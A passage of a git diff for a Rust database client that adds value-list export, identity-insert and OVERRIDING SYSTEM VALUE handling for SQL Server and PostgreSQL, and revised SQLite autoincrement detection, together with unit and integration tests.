+    #[test]
+    fn text_table_refuses_a_long_value_repeated_as_padding_down_its_column() {
+        let long = Value::Text("x".repeat(60_000));
+        let rows: Vec<Vec<Value>> = std::iter::once(vec![long])
+            .chain((0..1_200).map(|_| vec![Value::Int(1)]))
+            .collect();
+
+        let refused = render_text_table(&cols(&["a"]), &rows);
+
+        assert!(matches!(refused, Err(TextTableError::TooLarge)), "{refused:?}");
+    }
+
+    #[test]
+    fn text_table_refuses_an_undecodable_cell() {
+        let rows = vec![vec![Value::Undecodable(Box::new(UndecodedValue {
+            type_name: "geometry".to_owned(),
+            reason: UndecodableReason::UnsupportedType,
+        }))]];
+
+        let refused = render_text_table(&cols(&["a"]), &rows);
+
+        assert!(
+            matches!(refused, Err(TextTableError::Encode(EncodeError::Undecodable { .. }))),
+            "{refused:?}"
+        );
+    }
+}
diff --git a/linux/crates/core/src/export/value_list.rs b/linux/crates/core/src/export/value_list.rs
new file mode 100644
index 0000000000..f8e5841cc1
--- /dev/null
+++ b/linux/crates/core/src/export/value_list.rs
@@ -0,0 +1,70 @@
+use crate::column::ResultColumn;
+use crate::dialect::{LiteralError, SqlDialect};
+use crate::value::Value;
+
+use super::column_type;
+use super::in_clause::list_literal;
+
+/// Every value of the rows, row after row, as the engine's literals in
+/// one list: what a user pastes into a `VALUES` row or an IN list by
+/// hand. The engine's literal rather than quoted text, so a NULL is not
+/// the text `NULL` and a value holding the separator stays one value.
+pub fn render_value_list<'a, R>(
+    dialect: &dyn SqlDialect,
+    columns: &[ResultColumn],
+    rows: R,
+) -> Result<String, LiteralError>
+where
+    R: IntoIterator,
+    R::Item: IntoIterator<Item = &'a Value>,
+{
+    let mut literals = Vec::new();
+    for row in rows {
+        for (index, value) in row.into_iter().enumerate() {
+            literals.push(list_literal(dialect, column_type(columns, index), value)?);
+        }
+    }
+    Ok(literals.join(", "))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::super::test_columns::cols;
+    use super::*;
+    use crate::dialect::TestDialect;
+
+    #[test]
+    fn value_list_writes_every_row_as_literals_on_one_line() {
+        let columns = cols(&["id", "name"]);
+        let rows = vec![
+            vec![Value::Int(1), Value::Text("Lovelace, Ada".into())],
+            vec![Value::Int(2), Value::Null],
+            vec![Value::Int(3), Value::Text("NULL".into())],
+        ];
+
+        let list = render_value_list(&TestDialect::default(), &columns, &rows).expect("the list");
+
+        assert_eq!(list, "1, 'Lovelace, Ada', 2, NULL, 3, 'NULL'");
+    }
+
+    #[test]
+    fn value_list_keeps_a_line_break_inside_its_literal() {
+        let rows = vec![vec![Value::Text("it's\ntwo lines".into())]];
+
+        let list = render_value_list(&TestDialect::default(), &cols(&["a"]), &rows).expect("the list");
+
+        assert_eq!(list, "'it''s\ntwo lines'");
+    }
+
+    #[test]
+    fn value_list_fails_on_a_value_the_engine_cannot_write() {
+        let rows = vec![vec![Value::Array(vec![Value::Int(2)])]];
+
+        let refused = render_value_list(&TestDialect::default(), &cols(&["a"]), &rows);
+
+        assert!(
+            matches!(refused, Err(LiteralError::Unrepresentable { .. })),
+            "{refused:?}"
+        );
+    }
+}
diff --git a/linux/crates/core/src/import/pasted_table.rs b/linux/crates/core/src/import/pasted_table.rs
index f1e02059d8..f75b0a5d42 100644
--- a/linux/crates/core/src/import/pasted_table.rs
+++ b/linux/crates/core/src/import/pasted_table.rs
@@ -296,8 +296,8 @@ impl PastedTable {
     /// NULL is NULL. A column left out holds what a new row holds. A
     /// column the server fills, and one whose values the grid cannot
     /// edit, keep that too, and a value meant for one counts as skipped.
-    /// A key the server cannot fill takes the value: the row cannot be
-    /// saved without it.
+    /// A key the server does not give a new row takes the value: the row
+    /// cannot be saved without it.
     pub fn rows(&self, columns: &[ColumnInfo], in_order: &[usize]) -> Result<PastedRows, CsvRowError> {
         let (placement, records) = match &self.header {
             Header::Named(names) => (Placement::Named(named_columns(columns, names)), self.records.as_slice()),
@@ -323,7 +323,7 @@ impl PastedTable {
                     pasted.skipped += usize::from(carries_value(text));
                     continue;
                 };
-                if left_to_the_row(column) {
+                if left_to_the_row(column, columns) {
                     pasted.skipped += usize::from(carries_value(text));
                     continue;
                 }
@@ -395,11 +395,8 @@ fn column_named(columns: &[ColumnInfo], field: &str) -> Option<usize> {
 
 /// A column a pasted row leaves as a new row has it: the server fills
 /// it, or the grid has no text form to edit its values in.
-fn left_to_the_row(column: &ColumnInfo) -> bool {
-    column.is_generated
-        || column.is_auto_increment
-        || (column.primary_key && !column.default.is_none())
-        || read_only_reason(&column.column_type.kind).is_some()
+fn left_to_the_row(column: &ColumnInfo, columns: &[ColumnInfo]) -> bool {
+    column.is_generated || column.is_assigned_on_insert(columns) || read_only_reason(&column.column_type.kind).is_some()
 }
 
 /// A column of no type the app knows whose values are read as the
@@ -641,9 +638,18 @@ mod tests {
             0,
         );
 
+        let mut zero_key = key("id");
+        zero_key.default = ColumnDefault::Literal(Value::Int(0));
+        let literal = pasted("7\tFrance\n", &[zero_key, text("name")], 0);
+
         assert_eq!(natural.rows, vec![vec![number(33), value("France")]]);
         assert_eq!(filled.rows[0][0], CellInput::Default);
         assert_eq!(filled.skipped, 1);
+        assert_eq!(
+            literal.rows,
+            vec![vec![number(7), value("France")]],
+            "every new row would get 0"
+        );
     }
 
     #[test]
diff --git a/linux/crates/core/src/value/mod.rs b/linux/crates/core/src/value/mod.rs
index 9044367c28..20e9375735 100644
--- a/linux/crates/core/src/value/mod.rs
+++ b/linux/crates/core/src/value/mod.rs
@@ -55,6 +55,22 @@ impl Value {
         matches!(self, Self::Null)
     }
 
+    /// Whether the value reads as a number, so a column of no declared
+    /// type holding only such values lines up as numbers do.
+    pub fn is_number(&self) -> bool {
+        match self {
+            Self::Int(_)
+            | Self::UInt(_)
+            | Self::WideInt(_)
+            | Self::Float32(_)
+            | Self::Float64(_)
+            | Self::Decimal(_) => true,
+            Self::Text(text) => text.parse::<f64>().is_ok(),
+            Self::Other(other) => other.text.parse::<f64>().is_ok(),
+            _ => false,
+        }
+    }
+
     pub fn variant_name(&self) -> &'static str {
         match self {
             Self::Null => "Null",
diff --git a/linux/crates/drivers/cassandra/src/dialect.rs b/linux/crates/drivers/cassandra/src/dialect.rs
index 3d0dfa1c24..7a4850f713 100644
--- a/linux/crates/drivers/cassandra/src/dialect.rs
+++ b/linux/crates/drivers/cassandra/src/dialect.rs
@@ -767,7 +767,7 @@ mod tests {
             ],
         ];
 
-        let sql = tablepro_core::export::render_sql_insert(&cql, &table, &columns, &[], &rows);
+        let sql = tablepro_core::export::render_sql_insert(&cql, &table, &columns, &[], &[], &rows);
 
         assert_eq!(
             sql,
diff --git a/linux/crates/drivers/mssql/src/catalog/mod.rs b/linux/crates/drivers/mssql/src/catalog/mod.rs
index 95c72e57ec..1d1110d388 100644
--- a/linux/crates/drivers/mssql/src/catalog/mod.rs
+++ b/linux/crates/drivers/mssql/src/catalog/mod.rs
@@ -37,7 +37,8 @@ pub(crate) fn column_info(row: &MssqlColumnRow) -> ColumnInfo {
         nullable: row.nullable,
         primary_key: row.primary_key,
         is_auto_increment: row.identity,
-        is_generated: row.computed || server_written,
+        // A period column refuses a value as a computed one does.
+        is_generated: row.computed || row.server_generated || server_written,
         partition_scoped: false,
         default,
         comment: row.comment.clone(),
diff --git a/linux/crates/drivers/mssql/src/catalog/mssql_column_row.rs b/linux/crates/drivers/mssql/src/catalog/mssql_column_row.rs
index 329433a520..bcf4f2780b 100644
--- a/linux/crates/drivers/mssql/src/catalog/mssql_column_row.rs
+++ b/linux/crates/drivers/mssql/src/catalog/mssql_column_row.rs
@@ -11,7 +11,8 @@ use super::sql_server_type::{CatalogFacts, SqlServerType};
 /// name. A collation is reported only where it differs from the
 /// database's, which is the default a column takes, and the column after
 /// it says whether its code page differs too. The last is the function
-/// of the column's data mask, if it has one.
+/// of the column's data mask, if it has one, and the one after whether
+/// the server writes it as a system-versioned table's period column.
 pub(crate) const COLUMNS_SQL: &str = "SELECT \
         c.name, \
         t.name, \
@@ -40,7 +41,8 @@ pub(crate) const COLUMNS_SQL: &str = "SELECT \
         CAST(CASE WHEN COLLATIONPROPERTY(c.collation_name, 'CodePage') \
                   <> COLLATIONPROPERTY(CAST(DATABASEPROPERTYEX(DB_NAME(), 'Collation') AS nvarchar(128)), 'CodePage') \
              THEN 1 ELSE 0 END AS int), \
-        mc.masking_function \
+        mc.masking_function, \
+        CAST(CASE WHEN c.generated_always_type <> 0 THEN 1 ELSE 0 END AS int) \
     FROM sys.columns c \
     JOIN sys.types t ON t.user_type_id = c.user_type_id \
     LEFT JOIN sys.default_constraints dc ON dc.object_id = c.default_object_id \
@@ -76,6 +78,8 @@ pub(crate) struct MssqlColumnRow {
     pub(crate) computed_definition: Option<String>,
     pub(crate) persisted: bool,
     pub(crate) masking_function: Option<String>,
+    /// `GENERATED ALWAYS AS ROW START` or `END`, or a ledger column.
+    pub(crate) server_generated: bool,
 }
 
 impl MssqlColumnRow {
@@ -111,6 +115,7 @@ impl MssqlColumnRow {
             computed_definition: cells.text(19),
             persisted: cells.flag(20),
             masking_function: cells.text(22),
+            server_generated: cells.flag(23),
         })
     }
 }
@@ -148,6 +153,8 @@ mod tests {
             Value::Null,
             Value::Int(0),
             Value::Int(0),
+            Value::Null,
+            Value::Int(1),
         ];
 
         let row = MssqlColumnRow::from_values(&values).unwrap();
@@ -159,6 +166,7 @@ mod tests {
         assert_eq!(row.default_constraint.as_deref(), Some("DF_items_price"));
         assert_eq!(row.comment.as_deref(), Some("what it costs"));
         assert_eq!(row.collation, None);
+        assert!(row.server_generated);
     }
 
     #[test]
diff --git a/linux/crates/drivers/mssql/src/dialect.rs b/linux/crates/drivers/mssql/src/dialect.rs
index fc8748292b..7b470b9519 100644
--- a/linux/crates/drivers/mssql/src/dialect.rs
+++ b/linux/crates/drivers/mssql/src/dialect.rs
@@ -287,6 +287,16 @@ impl SqlDialect for MssqlDialect {
             "SELECT COUNT_BIG(*) FROM (SELECT TOP (2) 1 AS one FROM {table_sql} WITH (UPDLOCK, HOLDLOCK) WHERE {predicate_sql}) AS probe"
         )
     }
+
+    // OFF opens a batch of its own: an error that ends a batch, as any
+    // does under XACT_ABORT ON, skips the rest of that batch, and sqlcmd,
+    // SSMS and the editor go on with the next one.
+    fn identity_insert(&self, table_sql: &str, on: bool) -> Option<String> {
+        Some(match on {
+            true => format!("SET IDENTITY_INSERT {table_sql} ON;"),
+            false => format!("GO\nSET IDENTITY_INSERT {table_sql} OFF;"),
+        })
+    }
 }
 
 /// The decimal a money column is read as: MONEY's own range and scale,
@@ -693,6 +703,21 @@ mod tests {
         );
     }
 
+    #[test]
+    fn an_identity_column_is_written_with_identity_insert_switched_on() {
+        let dialect = dialect();
+
+        assert_eq!(
+            dialect.identity_insert("[dbo].[t]", true).as_deref(),
+            Some("SET IDENTITY_INSERT [dbo].[t] ON;")
+        );
+        assert_eq!(
+            dialect.identity_insert("[dbo].[t]", false).as_deref(),
+            Some("GO\nSET IDENTITY_INSERT [dbo].[t] OFF;")
+        );
+        assert_eq!(dialect.insert_overriding_clause(), None);
+    }
+
     #[test]
     fn quote_ident_brackets_and_escapes() {
         let dialect = dialect();
diff --git a/linux/crates/drivers/mssql/tests/integration/identity_insert.rs b/linux/crates/drivers/mssql/tests/integration/identity_insert.rs
new file mode 100644
index 0000000000..d9d537481e
--- /dev/null
+++ b/linux/crates/drivers/mssql/tests/integration/identity_insert.rs
@@ -0,0 +1,176 @@
+//! Copy As INSERT and the SQL export write a saved row's number back into
+//! an IDENTITY column, which refuses a value unless IDENTITY_INSERT is on
+//! and refuses a row without one while it is.
+
+use tablepro_core::edit::CellInput;
+use tablepro_core::export::{render_inserts, render_sql_insert};
+use tablepro_core::{Connection, RowLimit, RunEnd, Value};
+
+use crate::support::{CALL, columns, connect, dbo, rows, run, run_ok, session, setup, start, statement, within};
+
+const SHAPE: &str = "(id int IDENTITY(1,1) PRIMARY KEY, name nvarchar(20))";
+const SOURCE_ROWS: &str = "SELECT id, name FROM dbo.source ORDER BY id DESC";
+
+/// `source` holding the rows numbered 5 and 2, and an empty table of its
+/// shape to write them into. Numbers the server would not give a new row
+/// show the copy kept them.
+async fn tables(connection: &dyn Connection, copy: &str) -> Vec<Vec<Value>> {
+    setup(
+        connection,
+        &[
+            &format!("CREATE TABLE dbo.source {SHAPE}"),
+            &format!("CREATE TABLE dbo.{copy} {SHAPE}"),
+            "INSERT INTO dbo.source (name) VALUES ('a'), ('b'), ('c'), ('d'), ('e')",
+            "DELETE FROM dbo.source WHERE id NOT IN (2, 5)",
+        ],
+    )
+    .await;
+    rows(connection, SOURCE_ROWS).await
+}
+
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn a_copied_row_keeps_its_number_in_an_identity_column() {
+    let fixture = start().await;
+    let connection = connect(&fixture, false).await;
+    let saved = tables(connection.as_ref(), "copied").await;
+    let catalog = columns(connection.as_ref(), &dbo("source")).await;
+    assert!(
+        catalog
+            .iter()
+            .any(|column| column.name == "id" && column.is_auto_increment),
+        "{catalog:?}"
+    );
+    let cells = |row: &Vec<Value>| row.iter().cloned().map(CellInput::Value).collect::<Vec<_>>();
+    // Between the saved rows, so IDENTITY_INSERT has to be off for it and
+    // on again after.
+    let draft = vec![CellInput::Default, CellInput::Value(Value::Text("new".to_owned()))];
+    let copied = [cells(&saved[0]), draft, cells(&saved[1])];
+
+    let sql = render_inserts(connection.dialect().as_ref(), &dbo("copied"), &catalog, &copied).expect("the copy");
+    let session = session(connection.as_ref()).await;
+    run_ok(session.as_ref(), &sql).await;
+
+    assert_eq!(
+        rows(
+            connection.as_ref(),
+            "SELECT id, name FROM dbo.copied WHERE name <> 'new' ORDER BY id DESC"
+        )
+        .await,
+        saved
+    );
+    assert_eq!(
+        rows(connection.as_ref(), "SELECT name FROM dbo.copied WHERE name = 'new'").await,
+        vec![vec![Value::Text("new".to_owned())]],
+        "the draft row took a number from the server"
+    );
+}
+
+/// Under XACT_ABORT ON the duplicate key ends its batch before the rows
+/// after it. The session must still take a row without a number, and
+/// IDENTITY_INSERT on another table, which SQL Server refuses while one
+/// table of the session has it on.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn a_copy_that_fails_partway_still_turns_identity_insert_off() {
+    let fixture = start().await;
+    let connection = connect(&fixture, false).await;
+    let saved = tables(connection.as_ref(), "taken").await;
+    setup(
+        connection.as_ref(),
+        &["SET IDENTITY_INSERT dbo.taken ON; INSERT INTO dbo.taken (id, name) VALUES (5, 'x'); SET IDENTITY_INSERT dbo.taken OFF"],
+    )
+    .await;
+    let catalog = columns(connection.as_ref(), &dbo("source")).await;
+    let copied: Vec<Vec<CellInput>> = saved
+        .iter()
+        .map(|row| row.iter().cloned().map(CellInput::Value).collect())
+        .collect();
+    let sql = render_inserts(connection.dialect().as_ref(), &dbo("taken"), &catalog, &copied).expect("the copy");
+    let session = session(connection.as_ref()).await;
+
+    let (summary, _) = run(session.as_ref(), &format!("SET XACT_ABORT ON;\n{sql}")).await;
+
+    assert!(
+        matches!(summary.end, RunEnd::Failed(_)),
+        "the duplicate key failed the run"
+    );
+    run_ok(
+        session.as_ref(),
+        "INSERT INTO dbo.taken (name) VALUES ('after'); SET IDENTITY_INSERT dbo.source ON; SET IDENTITY_INSERT dbo.source OFF",
+    )
+    .await;
+}
+
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn an_exported_row_keeps_its_number_in_an_identity_column() {
+    let fixture = start().await;
+    let connection = connect(&fixture, false).await;
+    let saved = tables(connection.as_ref(), "exported").await;
+    let read = connection
+        .query_bound(&statement(SOURCE_ROWS), RowLimit::EDITOR_DEFAULT, within(CALL))
+        .await
+        .expect("the read");
+
+    let sql = render_sql_insert(
+        connection.dialect().as_ref(),
+        &dbo("exported"),
+        &read.columns,
+        &[],
+        &["id".to_owned()],
+        &read.rows,
+    );
+    let session = session(connection.as_ref()).await;
+    run_ok(session.as_ref(), &sql).await;
+
+    assert_eq!(
+        rows(
+            connection.as_ref(),
+            "SELECT id, name FROM dbo.exported ORDER BY id DESC"
+        )
+        .await,
+        saved
+    );
+}
+
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn a_copied_row_leaves_a_temporal_tables_period_to_the_server() {
+    let fixture = start().await;
+    let connection = connect(&fixture, false).await;
+    let shape = "(id int PRIMARY KEY, name nvarchar(20), \
+        valid_from datetime2 GENERATED ALWAYS AS ROW START NOT NULL, \
+        valid_to datetime2 GENERATED ALWAYS AS ROW END NOT NULL, \
+        PERIOD FOR SYSTEM_TIME (valid_from, valid_to))";
+    setup(
+        connection.as_ref(),
+        &[&format!(
+            "CREATE TABLE dbo.versioned {shape} WITH (SYSTEM_VERSIONING = ON)"
+        )],
+    )
+    .await;
+    let catalog = columns(connection.as_ref(), &dbo("versioned")).await;
+    assert!(
+        catalog
+            .iter()
+            .filter(|column| column.name.starts_with("valid_"))
+            .all(|column| column.is_generated),
+        "{catalog:?}"
+    );
+    let row = vec![
+        CellInput::Value(Value::Int(1)),
+        CellInput::Value(Value::Text("a".to_owned())),
+        CellInput::Value(Value::Text("2026-01-01 00:00:00".to_owned())),
+        CellInput::Value(Value::Text("9999-12-31 23:59:59.9999999".to_owned())),
+    ];
+
+    let sql = render_inserts(connection.dialect().as_ref(), &dbo("versioned"), &catalog, &[row]).expect("the copy");
+    let session = session(connection.as_ref()).await;
+    run_ok(session.as_ref(), &sql).await;
+
+    assert_eq!(
+        rows(connection.as_ref(), "SELECT id, name FROM dbo.versioned").await,
+        vec![vec![Value::Int(1), Value::Text("a".to_owned())]]
+    );
+}
diff --git a/linux/crates/drivers/mssql/tests/integration/main.rs b/linux/crates/drivers/mssql/tests/integration/main.rs
index fe2cf6a579..0083b4d952 100644
--- a/linux/crates/drivers/mssql/tests/integration/main.rs
+++ b/linux/crates/drivers/mssql/tests/integration/main.rs
@@ -13,6 +13,7 @@ mod csv_import;
 mod ddl;
 mod decode;
 mod filter;
+mod identity_insert;
 mod metadata;
 mod read_only;
 mod round_trip;
diff --git a/linux/crates/drivers/mysql/src/dialect.rs b/linux/crates/drivers/mysql/src/dialect.rs
index adc56fb6ab..f572311033 100644
--- a/linux/crates/drivers/mysql/src/dialect.rs
+++ b/linux/crates/drivers/mysql/src/dialect.rs
@@ -461,6 +461,7 @@ mod tests {
             &tablepro_core::meta::TableRef::unqualified("t"),
             &columns,
             &[],
+            &[],
             &[vec![Value::Int(1)]],
         );
 
diff --git a/linux/crates/drivers/postgres/src/dialect.rs b/linux/crates/drivers/postgres/src/dialect.rs
index b45fd6e680..f9dfaabd0d 100644
--- a/linux/crates/drivers/postgres/src/dialect.rs
+++ b/linux/crates/drivers/postgres/src/dialect.rs
@@ -188,6 +188,13 @@ impl SqlDialect for PgDialect {
             ColumnKind::Json { binary: false } | ColumnKind::Xml
         )
     }
+
+    /// The clause came with identity columns in PostgreSQL 10, and an
+    /// INSERT into a serial or plain column takes it too, so a statement
+    /// needs no word on which kind of numbering the column has.
+    fn insert_overriding_clause(&self) -> Option<&'static str> {
+        (self.server_version_num >= 100_000).then_some("OVERRIDING SYSTEM VALUE")
+    }
 }
 
 /// What a value binds as, and the cast that turns the parameter into the
@@ -759,4 +766,15 @@ mod tests {
             assert_eq!(dialect().history_recording(sql), HistoryRecording::Record, "{sql}");
         }
     }
+
+    #[test]
+    fn an_insert_overrides_a_numbered_column_from_postgresql_10() {
+        let nine = PgDialect::new(&ServerInfo::new("PostgreSQL", "9.6.24", 9, 624, 0));
+        let ten = PgDialect::new(&ServerInfo::new("PostgreSQL", "10.0", 10, 0, 0));
+
+        assert_eq!(nine.insert_overriding_clause(), None);
+        assert_eq!(ten.insert_overriding_clause(), Some("OVERRIDING SYSTEM VALUE"));
+        assert_eq!(dialect().insert_overriding_clause(), Some("OVERRIDING SYSTEM VALUE"));
+        assert_eq!(dialect().identity_insert("\"t\"", true), None);
+    }
 }
diff --git a/linux/crates/drivers/postgres/tests/integration/decode.rs b/linux/crates/drivers/postgres/tests/integration/decode.rs
index e498735747..8ee618b833 100644
--- a/linux/crates/drivers/postgres/tests/integration/decode.rs
+++ b/linux/crates/drivers/postgres/tests/integration/decode.rs
@@ -181,6 +181,7 @@ async fn an_exported_array_inserts_back_as_it_was() {
         &tablepro_core::TableRef::unqualified("copied"),
         &read.columns,
         &[],
+        &[],
         &read.rows,
     );
     crate::support::apply(
diff --git a/linux/crates/drivers/postgres/tests/integration/identity_insert.rs b/linux/crates/drivers/postgres/tests/integration/identity_insert.rs
new file mode 100644
index 0000000000..2027165d5f
--- /dev/null
+++ b/linux/crates/drivers/postgres/tests/integration/identity_insert.rs
@@ -0,0 +1,104 @@
+//! Copy As INSERT and the SQL export write a saved row's number back into
+//! a GENERATED ALWAYS identity, which refuses a value without
+//! OVERRIDING SYSTEM VALUE.
+
+use tablepro_core::edit::CellInput;
+use tablepro_core::export::{render_inserts, render_sql_insert};
+use tablepro_core::{Connection, RowLimit, TableRef, Value};
+
+use crate::support::{CALL, connect, rows, run_ok, session, setup, start, statement, within};
+
+const SHAPE: &str = "(id int GENERATED ALWAYS AS IDENTITY PRIMARY KEY, name text)";
+const SOURCE_ROWS: &str = "SELECT id, name FROM public.source ORDER BY id DESC";
+
+fn public(name: &str) -> TableRef {
+    TableRef::new(Some("public".to_owned()), name)
+}
+
+/// `source` holding the rows numbered 5 and 2, and an empty table of its
+/// shape to write them into. Numbers the server would not give a new row
+/// show the copy kept them.
+async fn tables(connection: &dyn Connection, copy: &str) -> Vec<Vec<Value>> {
+    setup(
+        connection,
+        &[
+            &format!("CREATE TABLE public.source {SHAPE}"),
+            &format!("CREATE TABLE public.{copy} {SHAPE}"),
+            "INSERT INTO public.source (name) VALUES ('a'), ('b'), ('c'), ('d'), ('e')",
+            "DELETE FROM public.source WHERE id NOT IN (2, 5)",
+        ],
+    )
+    .await;
+    rows(connection, SOURCE_ROWS).await
+}
+
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn a_copied_row_keeps_its_number_in_a_generated_always_identity() {
+    let fixture = start().await;
+    let connection = connect(&fixture, false).await;
+    let saved = tables(connection.as_ref(), "copied").await;
+    let columns = connection
+        .fetch_columns(&public("source"), within(CALL))
+        .await
+        .expect("the columns");
+    assert!(
+        columns
+            .iter()
+            .any(|column| column.name == "id" && column.is_auto_increment),
+        "{columns:?}"
+    );
+    let cells = |row: &Vec<Value>| row.iter().cloned().map(CellInput::Value).collect::<Vec<_>>();
+    let draft = vec![CellInput::Default, CellInput::Value(Value::Text("new".to_owned()))];
+    let copied = [cells(&saved[0]), draft, cells(&saved[1])];
+
+    let sql = render_inserts(connection.dialect().as_ref(), &public("copied"), &columns, &copied).expect("the copy");
+    let session = session(connection.as_ref()).await;
+    run_ok(session.as_ref(), &sql).await;
+
+    assert_eq!(
+        rows(
+            connection.as_ref(),
+            "SELECT id, name FROM public.copied WHERE name <> 'new' ORDER BY id DESC"
+        )
+        .await,
+        saved
+    );
+    assert_eq!(
+        rows(connection.as_ref(), "SELECT name FROM public.copied WHERE name = 'new'").await,
+        vec![vec![Value::Text("new".to_owned())]],
+        "the draft row took a number from the server"
+    );
+}
+
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn an_exported_row_keeps_its_number_in_a_generated_always_identity() {
+    let fixture = start().await;
+    let connection = connect(&fixture, false).await;
+    let saved = tables(connection.as_ref(), "exported").await;
+    let read = connection
+        .query_bound(&statement(SOURCE_ROWS), RowLimit::EDITOR_DEFAULT, within(CALL))
+        .await
+        .expect("the read");
+
+    let sql = render_sql_insert(
+        connection.dialect().as_ref(),
+        &public("exported"),
+        &read.columns,
+        &[],
+        &["id".to_owned()],
+        &read.rows,
+    );
+    let session = session(connection.as_ref()).await;
+    run_ok(session.as_ref(), &sql).await;
+
+    assert_eq!(
+        rows(
+            connection.as_ref(),
+            "SELECT id, name FROM public.exported ORDER BY id DESC"
+        )
+        .await,
+        saved
+    );
+}
diff --git a/linux/crates/drivers/postgres/tests/integration/main.rs b/linux/crates/drivers/postgres/tests/integration/main.rs
index 71901286a5..75e1453b3c 100644
--- a/linux/crates/drivers/postgres/tests/integration/main.rs
+++ b/linux/crates/drivers/postgres/tests/integration/main.rs
@@ -14,6 +14,7 @@ mod decode;
 mod editor_session;
 mod filter;
 mod flight;
+mod identity_insert;
 mod liveness;
 mod metadata;
 mod paging;
diff --git a/linux/crates/drivers/sqlite/src/catalog/mod.rs b/linux/crates/drivers/sqlite/src/catalog/mod.rs
index 4128df99e0..771459b871 100644
--- a/linux/crates/drivers/sqlite/src/catalog/mod.rs
+++ b/linux/crates/drivers/sqlite/src/catalog/mod.rs
@@ -86,16 +86,12 @@ pub(crate) fn inbound_keys_sql(schema_sql: &str) -> String {
     )
 }
 
-/// `sqlite_sequence` exists only once some table was declared with
-/// AUTOINCREMENT, so its presence is checked before it is read.
+/// `sqlite_stat1` exists only once ANALYZE has run, so its presence is
+/// checked before it is read.
 pub(crate) fn has_table_sql(schema_sql: &str) -> String {
     format!("SELECT count(*) FROM {schema_sql}.sqlite_schema WHERE type = 'table' AND name = ?1")
 }
 
-pub(crate) fn sequence_sql(schema_sql: &str) -> String {
-    format!("SELECT count(*) FROM {schema_sql}.sqlite_sequence WHERE name = ?1")
-}
-
 /// The first number of a `sqlite_stat1` row is the row count ANALYZE
 /// saw. A table without indexes has one row whose `idx` is NULL.
 pub(crate) fn statistics_sql(schema_sql: &str) -> String {
diff --git a/linux/crates/drivers/sqlite/src/catalog/sqlite_column_row.rs b/linux/crates/drivers/sqlite/src/catalog/sqlite_column_row.rs
index 50c4a57e44..2180fd7a31 100644
--- a/linux/crates/drivers/sqlite/src/catalog/sqlite_column_row.rs
+++ b/linux/crates/drivers/sqlite/src/catalog/sqlite_column_row.rs
@@ -26,9 +26,6 @@ pub(crate) struct SqliteColumnRow {
 pub(crate) struct TableFacts {
     pub strict: bool,
     pub without_rowid: bool,
-    /// The table was declared with AUTOINCREMENT, which SQLite records
-    /// as a row in `sqlite_sequence`.
-    pub autoincrement: bool,
     /// Exactly one column is in the primary key.
     pub single_column_key: bool,
     /// The CREATE TABLE text declares the key column `PRIMARY KEY DESC`
@@ -81,9 +78,10 @@ impl SqliteColumnRow {
 
     pub(crate) fn column_info(&self, table: &TableFacts) -> ColumnInfo {
         let is_generated = self.generated_storage().is_some();
-        // The rowid fills itself in unless a default says otherwise.
-        // AUTOINCREMENT adds only the promise never to reuse a number.
-        let is_auto_increment = self.is_rowid_alias(table) && (table.autoincrement || self.default.is_none());
+        // The rowid fills itself in, a default or not: SQLite 3.54
+        // numbers `INTEGER PRIMARY KEY DEFAULT 5` from 1. AUTOINCREMENT
+        // adds only the promise never to reuse a number.
+        let is_auto_increment = self.is_rowid_alias(table);
         let default = match (is_generated, self.default.as_deref()) {
             (false, Some(text)) => classify_default(text),
             _ => ColumnDefault::None,
@@ -137,7 +135,6 @@ mod tests {
         TableFacts {
             strict: false,
             without_rowid: false,
-            autoincrement: false,
             single_column_key,
             descending_key: false,
         }
@@ -160,9 +157,10 @@ mod tests {
                 .is_auto_increment
         );
         assert!(
-            !row("id", "INTEGER", 1, Some("0"))
+            row("id", "INTEGER", 1, Some("0"))
                 .column_info(&facts(true))
-                .is_auto_increment
+                .is_auto_increment,
+            "SQLite numbers the rowid whatever its default says"
         );
         let without_rowid = TableFacts {
             without_rowid: true,
diff --git a/linux/crates/drivers/sqlite/src/metadata.rs b/linux/crates/drivers/sqlite/src/metadata.rs
index e394f96f14..6310bb74f6 100644
--- a/linux/crates/drivers/sqlite/src/metadata.rs
+++ b/linux/crates/drivers/sqlite/src/metadata.rs
@@ -664,7 +664,6 @@ async fn table_shape(connection: &mut SqlxConnection, table: &TableRef) -> Resul
     let mut facts = TableFacts {
         strict,
         without_rowid,
-        autoincrement: false,
         single_column_key,
         descending_key: false,
     };
@@ -672,26 +671,10 @@ async fn table_shape(connection: &mut SqlxConnection, table: &TableRef) -> Resul
         facts.descending_key = create_statement(connection, table)
             .await?
             .is_some_and(|sql| declared_descending_key(&sql, &candidate.name));
-        if !facts.descending_key {
-            facts.autoincrement = autoincrement(connection, schema, &table.name).await?;
-        }
     }
     Ok(TableShape { kind, facts, columns })
 }
 
-async fn autoincrement(connection: &mut SqlxConnection, schema: &str, table: &str) -> Result<bool, DriverError> {
-    let schema_sql = quote(schema);
-    if !has_table(connection, &schema_sql, "sqlite_sequence").await? {
-        return Ok(false);
-    }
-    let rows: i64 = sqlx::query_scalar(AssertSqlSafe(catalog::sequence_sql(&schema_sql)))
-        .bind(table)
-        .fetch_one(&mut *connection)
-        .await
-        .map_err(map_error)?;
-    Ok(rows > 0)
-}
-
 async fn has_table(connection: &mut SqlxConnection, schema_sql: &str, name: &str) -> Result<bool, DriverError> {
     let found: i64 = sqlx::query_scalar(AssertSqlSafe(catalog::has_table_sql(schema_sql)))
         .bind(name)
diff --git a/linux/crates/drivers/sqlite/tests/integration/metadata.rs b/linux/crates/drivers/sqlite/tests/integration/metadata.rs
index 7d58fde7d6..fb0073b029 100644
--- a/linux/crates/drivers/sqlite/tests/integration/metadata.rs
+++ b/linux/crates/drivers/sqlite/tests/integration/metadata.rs
@@ -205,19 +205,24 @@ async fn integer_primary_key_no_autoincrement_is_rowid_alias() {
 }
 
 #[tokio::test]
-async fn integer_primary_key_with_default_is_not_auto_increment() {
+async fn integer_primary_key_with_default_still_numbers_itself() {
     let file = TestFile::new().await;
     let connection = file.open().await;
     apply(
         connection.as_ref(),
